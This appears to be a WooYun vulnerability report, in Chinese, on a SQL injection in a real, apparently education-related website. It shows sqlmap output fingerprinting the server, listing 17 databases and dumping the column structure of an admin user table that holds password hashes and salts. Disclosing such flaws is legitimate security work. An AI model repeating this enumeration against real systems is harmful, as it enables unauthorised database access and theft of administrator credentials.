WooYun.org

1.sqlmap检测出：
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL 5
2.列出所有库：
available databases [17]:
[*] #mysql50#
[*] #mysql50#edushangdu -
[*] #mysql50#qndbw1254NEt -
[*] #mysql50#shangdujy_1 -
[*] edushangdu
[*] empirecms
[*] information_schema
[*] jiaoyushdu
[*] jingeinfo
[*] jingeyuqing
[*] jingeyuqingweb
[*] mysql
[*] performance_schema
[*] qndbw1254NEt
[*] shangdu_jiaoyu
[*] shangdujy_1
[*] test
3.列出当前库中的表

4.敏感数据如管理员用户数据泄露
Database: edushangdu
Table: phome_enewsuser
[28 columns]
+------------+----------------------+
| Column | Type |
+------------+----------------------+
| addip | varchar(20) |
| addipport | varchar(6) |
| addtime | int(10) unsigned |
| adminclass | mediumtext |
| checked | tinyint(1) |
| classid | smallint(5) unsigned |
| email | varchar(120) |
| filelevel | tinyint(1) |
| groupid | smallint(5) unsigned |
| lastip | varchar(20) |
| lastipport | varchar(6) |
| lasttime | int(10) unsigned |
| limitnum | varchar(20) |
| loginnum | int(10) unsigned |
| password | varchar(32) |
| preip | varchar(20) |
| preipport | varchar(6) |
| pretime | int(10) unsigned |
| rnd | varchar(20) |
| salt | varchar(8) |
| salt2 | varchar(20) |
| styleid | smallint(5) unsigned |
| tongji | varchar(500) |
| truename | varchar(20) |
| uprnd | varchar(32) |
| userid | int(10) unsigned |
| username | varchar(30) |
| userprikey | varchar(50) |
+------------+----------------------+